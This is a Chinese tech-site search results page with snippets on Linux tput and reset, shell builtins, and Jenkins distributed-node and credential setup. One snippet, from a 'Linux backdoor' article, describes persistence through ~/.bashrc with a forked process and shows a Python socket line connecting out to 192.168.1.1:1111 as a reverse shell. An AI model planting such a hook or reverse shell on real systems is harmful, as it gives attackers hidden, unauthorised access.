首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

Linux 命令(240)—— tput 命令

Unix 系统上的 terminfo 数据库用于定义终端和打印机的属性及功能,包括各设备(例如,终端和打印机)的行数和列数以及要发送至该设备的文本的属性。...如果终端的某项功能需要参数,那么可以指定参数(parms )。...4.选项说明 -T 表明终端类型。通常这个选项是不必要的,因为默认值取自环境变量 TERM。如果指定了-T,那么 shell 变量 LINES 和 COLUMNS 也将被忽略。...使用 tput 可以方便地实现在各设备上移动光标的位置。通过在 tput 中使用 cup 选项,或光标位置,您可以在设备的各行和各列中将光标移动到任意 X 或 Y 坐标。...tput usage: tput [-V] [-S] [-T term] capname ---- 参考文献 tput(1) - Linux manual page - man7.org terminfo

1.5K20

8.Jenkins进阶之工作学习所遇补充

[TOC] 0x00 知识扩展 1.Jenkins 如何根据代仓库的 webhook 自动触发拉取提交的分支代码并构建?...描述: 通常每个项目代码库都会有不同的分支,(如果你没有用多分支流水线的情况下)对于普通的流水线项目我们可以让一条流水线来支持多个分支的发布,其实有时候你会发现每个分支的集成步骤都是差不多的,对于常规的我们可以安装使用...方式1.手动动态拉取指定分支 1.配置 GitHub 或者 Gitlab 项目 URL 地址, 并指定 GitLab Connection。.../gitlab-plugin/ 温馨提示: 在 groovy 中如果变量不存在其值为null而非字符串类型的null。...agent { kubernetes { cloud 'kubernetes' namespace 'devops' inheritFrom 'jenkins-slave

1.9K30
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    Shell脚本内建命令

    会进行执行cat命令后再进行输出内容 read 命令 描述:read命令从键盘读取变量的值,通常用在shell脚本中与用户进行交互的场合 该命令可以一次读取多个变量的值,变量和输入的值都需要使用空格隔开...,在read命令后面如果没有指定变量名,读取的数据将被自动赋值给特定的变量; 语法选项: read [选项] [变量名] #选项 -p "提示信息":等待read输入时候提示信息; -t :read...#参数 +/-:"-"可用来指定变量的属性,"+"则是取消变量所设的属性; -a:将变量声明为数组类型(Array); -i:[设置值]可以是数值类型(Int),字符串或运算式; -p:显示指定变量的被声明得类型...= ((a = 2 + 3, b = 2 - 1))";echo "t1 = $t1, a = $a, b = $b" #操作符合左右可以有空格 #t1 = 1, a = 5, b = 1 #t1是减表达最后一个计算的值赋给它...# 参数 "-o bashdefault":如果没有生成补全条目,就使用bash默认的其它补全。 "-o default":如果没有生成补全条目,就使用"readline"默认的文件名补全。

    1.7K10

    Jenkins2 学习系列20 -- 添加物理机Slave节点

    如果没有指定其他系统(system) ,它也是默认的任务执行节点。 Jenkins设计之初就支持master-slave的分支式架构。...agent 代理节点 在早先版本的Jenkins中,代理节点被称为从节点(slave) ,其代表了所有非主节点的系统。这类系统由主系统管理,按需分配或指定执行特定的任务。...image.png Jenkins支持创建传统Slave,比如通过SSH方式添加一个机器作为Slave,配置一个或多个Executor,此Slave一般保持长连接状态,等待构建任务的分配和运行。.../lib/jenkins 生成 ssh key ssh-keygen -t rsa -b 4096 -C "jenkins@your.com" 邮箱可不配,得到 id_rsa 和 id_rsa.pub...机器,ssh-copy-id -p 4522 jenkins@slave机器的IP -p是端口,如果是22可不加此参数。

    2.1K20

    Jenkins 为Jenkins添加Windows Slave远程执行python项目脚本

    因此这个值会影响Jenkins系统的负载压力. 使用处理器个数作为其值会是比较好的选择。...设置这个值为0对于从Jenkins移除一个失效的从节点非常有用,并且不会丢失配置信息 远程工作目录: 指定slave的工作目录路径。...启动方法: 控制Jenkins怎么启动slave 1) Launch slave agents on Unix machines via SSH 通过SSH连接,发送命令来启动slave。...,jenkins将周期性的尝试启动slave: >在队列中等待时间已达指定启动时间( startup demand period)....>可在slave上执行 slave将被下线,如果: >slave上没有活动任务在执行 >slave处于空闲状态时间已达到指定的空闲时间(specified idle period)。

    2.5K30

    一个 Linux 权限维持小 tip | Linux 后门系列

    简介 前一段时间,朋友问了一个这样的问题:Linux 普通权限,没有crontab 之类的,如何做权限维持。...于是,我选择了最简单的配置文件 ~/.bashrc 这个文件是在所属用户每次登录的时候会自动进行执行配置的一个文件,当然,前提得是用户系统使用的 shell 是 bash 但这都不是什么重点,主要是这里要介绍一个之前没有介绍过的小技巧...,所以我们之前介绍去的方法中都是通过 python fork() 来解决的 说到底,我们就是希望,我们的程序和登录本身并行执行,那我们新创建一个进程就好了,于是有了下面常规的操作 常规的操作 使用 python3...= socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("192.168.1.1", 1111))...,和正常登录没有区别 其实呢,这也是我埋在 alias后门 | Linux 后门系列 这篇文章中的彩蛋,可惜似乎没啥人在意 优雅的做法 fork 的做法毕竟需要编程,如果你想留其他语言的后门或者直接就是执行某个二进制程序

    97630

    4.Jenkins进阶之分布式架构环境配置

    l 2.节点连接 agent节点加入的两种方式: ssh : 在Linux系统中最方便的就是通过SSH启动Jenkins节点,关键是需要再Slave机器中开启sshd服务以及网络连通; jnlp :...没有其他代理类型能选择的话可以选择该代理类型; 例如,你在添加不受Jenkins管理的物理机、在Jenkins外部管理的虚拟机等。...Step 2.之后创建一个新的节点添加以下配置。配置ssh的主机和认证信息最后保存(agent配置完成)。...进行版本升级 描述: 在 K8s 中对 Jenkins 升级是非常的简单只需要把image键中版本值进行改变(只需要使用新的版本镜像替换即可),从而拉取新的镜像运行即可。...问题原因: 答: 这个问题困扰了我好久,总结可能出现该问题的情况, 1.指定的 Jenkins-jnlp 容器镜像的Agent不能正常连接到Master 2.指定的 Jenkins-jnlp 镜像启动参数问题

    2.7K10

    Linux 命令(244)—— reset 命令

    -m 指定端口类型到终端的映射关系。 -Q 不输出控制键设置,即不要显示 erase、中断及删除字符。 -q 终端类型显示在标准输出中,并且终端没有以任何方式初始化。...选项' -'本身是等效的,但过时了。 -r 打印终端类别到标准错误输出。 -s 打印 set 命令设置 TERM 时的字符串,通常在 .login 或 .profile 中用。...如 TERM=xterm。 -V 报告使用的 ncurses 版本。 -w 调整窗口大小以匹配通过 setupterm(3) 推导出的大小。...比如通过 tput 命令将终端的背景颜色改为黄色,将前景颜色改为红色: tput setb 6; tput setf 4 那么现在使用 reset 便可恢复如初。...reset 或 tput reset (2)打印 set 命令设置 TERM 时的字符串。 reset -s TERM=xterm; (3)查看 reset 指向的真实命令。

    1.3K20

    一篇通俗易通的 Jenkins 入门指

    当然,如果你没有这样的需求,也可以不配置Slave,这篇文章讨论的是有Slave的情况。...如果你需要配置Slave,在Slave节点上创建一个jenkins用户,并建立Master和Slave的授信关系(你需要将下面的host替换为具体的服务器IP,注意一定要保证Master和Slave之间是内网通信的...,否则公网环境延迟较大,经常会出现Slave掉线情况) ssh jenkins@host 'mkdir -p .ssh && cat >> .ssh/authorized_keys' ssh/...配置Node,Labels是环境设置,例如开发环境,测试环境,编译环境等,后续可以根据Lables值,指定具体的任务在某个环境中执行 ? 设置Master到Node间的授信方式 ?...最后,我们需要设置git的地址,其中的授信设置,和上面说的Master到Node的授信设置一致: ?

    93220

    一篇通俗易通的 Jenkins 入门指南

    当然,如果你没有这样的需求,也可以不配置Slave,这篇文章讨论的是有Slave的情况。...如果你需要配置Slave,在Slave节点上创建一个jenkins用户,并建立Master和Slave的授信关系(你需要将下面的host替换为具体的服务器IP,注意一定要保证Master和Slave之间是内网通信的...,否则公网环境延迟较大,经常会出现Slave掉线情况) ssh jenkins@host 'mkdir -p .ssh && cat >> .ssh/authorized_keys' ssh/...配置Node,Labels是环境设置,例如开发环境,测试环境,编译环境等,后续可以根据Lables值,指定具体的任务在某个环境中执行 ? 设置Master到Node间的授信方式 ?...最后,我们需要设置git的地址,其中的授信设置,和上面说的Master到Node的授信设置一致: ?

    3.1K20

    基于 Jenkins 挂载节点增强分布式编译的效率

    此时master和slave其实是建立的双向字节流的连接,其中连接方法主要有如下几种: 1. master通过ssh来启动slave Jenkins内置有ssh客户端实现,可以用来与远程的sshd通信,...这是对*unix系统的slave最方便的方法,因为*unix系统一般默认安装有sshd。在创建ssh连接的slave的时候,你需要提供slave的host名字,用户名和ssh证书。...slave有管理员访问权限的用户名和密码,jenkins将远程地创建windows service然后远程地启动和停止他们。...Slave配置的好的建议 每个slave都有用户jenkins,所有的机器使用相同的UID和GID,使得slave的管理更加简单; 每个机器上jenkins用户的home目录都相同/home/jenkins...这段描述的意思是说,选择此种方式连接时,master和slave必须是能够通过ssh进行连接的,必须有slave机器的账号才行,但不要求必须是root账号。

    2.2K40

    Jenkins分布式部署配置

    a.名称:随便取, 推荐用slave-xx b.并发构件数: 1.这个值控制着Jenkins并发构建的数量. 因此这个值会影响Jenkins系统的负载压力....使用处理器个数作为其值会是比较好的选择. 2.增大这个值会使每个构建的运行时间更长,但是这能够增大整体的构建数量,因为当一个项目在等待I/O时它允许CPU去构建另一个项目. 3.设置这个值为...job的时候会优先在该节点上构建; 选择只允许绑定job的话,需要在运行的节点中指定从节点. f.启动方式: 我这里选择通过java web启动代理;可以使用ssh g.其他设置: 都比较好理解,一看就清楚...Jenkins节点配置就好了,接下来在slave上创建目录,我指定的是mac机器上目录: /Users/louiezhou/home/jenkins 启动slave节点 点击刚才新建的节点,会看到有个...这个小窗口不能关闭哦, 否则slave会离线. 备注: 这里master和slave推荐使用统一的jdk版本, 我使用的jdk1.8. 配置的节点列表如下: ? 哪个在线哪个不在线是不是一目了然.

    1.8K30

    【Jenkins系列】-凭证管理 - 看这一篇就够了~

    许多三方网站和应用可以与Jenkins交互,如Artifact仓库,基于云的存储系统和服务等....ID 定义 在 ID 字段中,必须指定一个有意义的Credential ID- 例如 jenkins-user-for-xyz-artifact-repository。...注意: 该字段是可选的。 如果您没有指定值, Jenkins 则Jenkins会分配一个全局唯一ID(GUID)值。 请记住: 一旦设置了credential ID,就不能再进行更改。...、API调用 jenkins slave 创建 Credential 相关插件 注意: 上述 Credential 类型都依赖于 jenkins插件,同样jenkins pipeline 也需要这些插件的安装以支持代码片段.../ssh-credentials/ 最佳实践 为了便于管理和使用, 强烈建议使用统一的约定来指定credential ID 建议使用类似下面的format做为credential ID, 便于jenkinsfile

    1.3K30

    Jenkins-安装和运维

    Publish Over SSH 通过SSH拷贝文件到目标机器,同时可以在目标机器上执行脚本 Job Generator 定义一个参数化的模板,通过这个模板快速的在 Jenkins 上创建出任务。...Monitoring监控 监控Jenkins节点的CPU、系统负载、平均响应时间和内存使用。...jenkins集群 使用ssh配置集群即可 master生成rsa秘钥 master复制秘钥到slave jenkins配置ssh方式和slave节点通信 ssh-keygen -t rsa -C ".../redhat-stable/jenkins.io.key yum install jenkins # 启动jenkins 指定插件路径,指定端口 java -jar jenkins.war.jar...Jenkins如果用来做持续集成,需要本地一些语言的环境,但是如果是用来打包docker镜像,则简单的多, 如果是springboot打包成docker,则需要maven和java的配置 这个时候需要挂载本机的一些开发环境

    39620

    手把手教你利用Jenkins持续集成iOS项目

    由于现在我用到的是GitLab,先配置SSH Key,在Jenkins的证书管理中添加SSH。...SSH信息,然后点击“Save”,这样就把SSH添加到Jenkins的全局域中去了。...如果正常的配置正确的话,是不会出现下图中的那段红色的警告。如果有下图的提示,就说明Jenkins还没有连通GitLab或者SVN,那就请再检查SSH Key是否配置正确。...-configuration:如果没有修改这个配置,默认就是Debug和Release这两个版本,没有指定默认为Release版本。...Master-Slave)部署也没有实践经验,改进版本的Docker更是没有接触过,但是如果有这种海量测试用例,高压力的大量复杂的回归测试的需求的,那推荐大家看这篇文章。

    2K30

    手把手教你利用Jenkins持续集成iOS项目

    由于现在我用到的是GitLab,先配置SSH Key,在Jenkins的证书管理中添加SSH。...SSH信息,然后点击“Save”,这样就把SSH添加到Jenkins的全局域中去了。...如果正常的配置正确的话,是不会出现下图中的那段红色的警告。如果有下图的提示,就说明Jenkins还没有连通GitLab或者SVN,那就请再检查SSH Key是否配置正确。...-configuration:如果没有修改这个配置,默认就是Debug和Release这两个版本,没有指定默认为Release版本。 -buildsetting=value ......Master-Slave)部署也没有实践经验,改进版本的Docker更是没有接触过,但是如果有这种海量测试用例,高压力的大量复杂的回归测试的需求的,那推荐大家看这篇文章。

    1.5K31

    jenkins凭证管理和规范化实践,看这一篇就够了

    许多三方网站和应用可以与Jenkins交互,如Artifact仓库,基于云的存储系统和服务等....) Secret file - 保存在文件中的加密内容 SSH Username with private key - SSH 公钥/私钥对 Certificate - a PKCS#12 证书文件 和可选密码...注意: 该字段是可选的。 如果您没有指定值, Jenkins 则Jenkins会分配一个全局唯一ID(GUID)值。 请记住: 一旦设置了credential ID,就不能再进行更改。...、API调用 jenkins slave 创建 Credential 相关插件 注意: 上述 Credential 类型都依赖于 jenkins插件,同样jenkins pipeline 也需要这些插件的安装以支持代码片段.../ssh-credentials/ unsetunset最佳实践unsetunset 为了便于管理和使用, 强烈建议使用统一的约定来指定credential ID 建议使用类似下面的format做为credential

    51810
    领券